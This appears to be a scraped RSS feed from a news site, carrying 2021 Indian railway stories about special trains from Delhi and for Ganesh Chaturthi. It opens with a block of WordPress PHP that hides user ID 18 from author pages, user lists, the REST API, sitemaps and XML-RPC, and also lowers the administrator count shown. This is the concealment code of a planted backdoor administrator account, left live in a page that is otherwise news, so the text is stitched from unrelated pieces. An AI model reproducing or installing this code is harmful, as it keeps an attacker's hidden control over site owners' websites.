add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Special train will run from Delhi today and tomorrow appeared first on The Edge Media.
]]>With this, they remembered last year’s lockdown. They also remembered how hungry and thirsty had reached home on foot for a month.
So this time, they took their luggage and children and left for the railway station and bus station. For the convenience of such laborers, Northern Railway has announced the running of two special trains.
According to information from Northern Railway, A train Summer Special will run from Anand Vihar Terminal today to Saharsa at 11:15 at night.
According to Railways 04474 Anand Vihar Terminal – Saharsa Summer Special Express will depart from Anand Vihar Terminal on 20.04.2021 at 11:15 pm. The train will reach Saharsa at 11:30 pm the next day.
This special train route Aligarh, Tundla, Etawah, Kanpur Central, Ash Bagh, Badshahnagar, Barabanki, Gonda, Basti, Khalilabad, Gorakhpur, Deoria Sadar, Siwan, Chapra, Sonpur, Hajipur, Muzaffarpur, Samastipur, Dalsingh Sarai, Barauni, Begusarai. Will stay at Khagaria and Mansi stations.
Special train for Bhagalpur in last night Northern Railway has also decided to run a special train for the convenience of passengers going to Patna, Bakhtiyarpur, Mokama, Kiul, Jamalpur etc. As per information from Railways, 04476, New Delhi-Bhagalpur Summer Special Express will depart from New Delhi at 11:15 pm on 21.04.2021.
The train will reach Bhagalpur at 07:30 in the evening the next day. This special train will stop at Kanpur Central, Pt Deendayal Upadhyaya Jn or Mughalsarai, Patna, Patna Sahib, Fatua, Bakhtiyarpur, Barh, Mokama, Hathidah, Kiul, Kajra, Abhaypur, Dharahara, Jamalpur, Bariarpur and Sultanganj stations.
Railway administration says that reservation is necessary to travel on these trains. Reservation is necessary not only for AC class and sleeper, but also for general class.
So any passengers who want to travel in it, they have been advised to make a reservation at least four hours before the train starts. Charts are usually prepared four hours before the train runs. After this, the booking stops at the reservation counter in the train.
The post Special train will run from Delhi today and tomorrow appeared first on The Edge Media.
]]>The post Special Trains For Ganesh Chaturthi appeared first on The Edge Media.
]]>The CR said in a release that it will run 162 special trips starting August 15 to clear the extra rush. The booking for special trains “with special charges” will start from Saturday, while the WR promised to run 20 special trips from August 17.
Passengers will have to adhere to all the norms and standard operating procedures related to COVID-19 during the travel, it said.
Eight special trains will ply on four routes (Chhatrapati Shivaji Maharaj Terminus (CSMT) to Sawantwadi, Lokmanya Tilak Terminus (LTT) to Kudal, LTT to Ratnagiri and LTT to Sawantwadi) from August 15 to September 5, it said.
The Western Railway announced that it will run 20 special services from August 17 to August 27. “Western Railway will run 20 trips of five Special trains — two from Mumbai Central to Sawantwadi Road, two from Bandra Terminus to Sawantwadi Road and one from Bandra Terminus to Kudal on special fare,” it said in a release.
Notably, on Thursday the CR had claimed in a statement that it was ready to run Ganapati special trains for Maharashtra’s coastal area, but the state government had not given a final go-ahead.
Every year, lakhs of people travel to their native places in Konkan from Mumbai for Ganesh Chaturthi (which falls on August 22 this time).
In view of the pandemic, the state government has made 10-day home quarantine mandatory for the visitors on reaching their destinations.
– PTI
The post Special Trains For Ganesh Chaturthi appeared first on The Edge Media.
]]>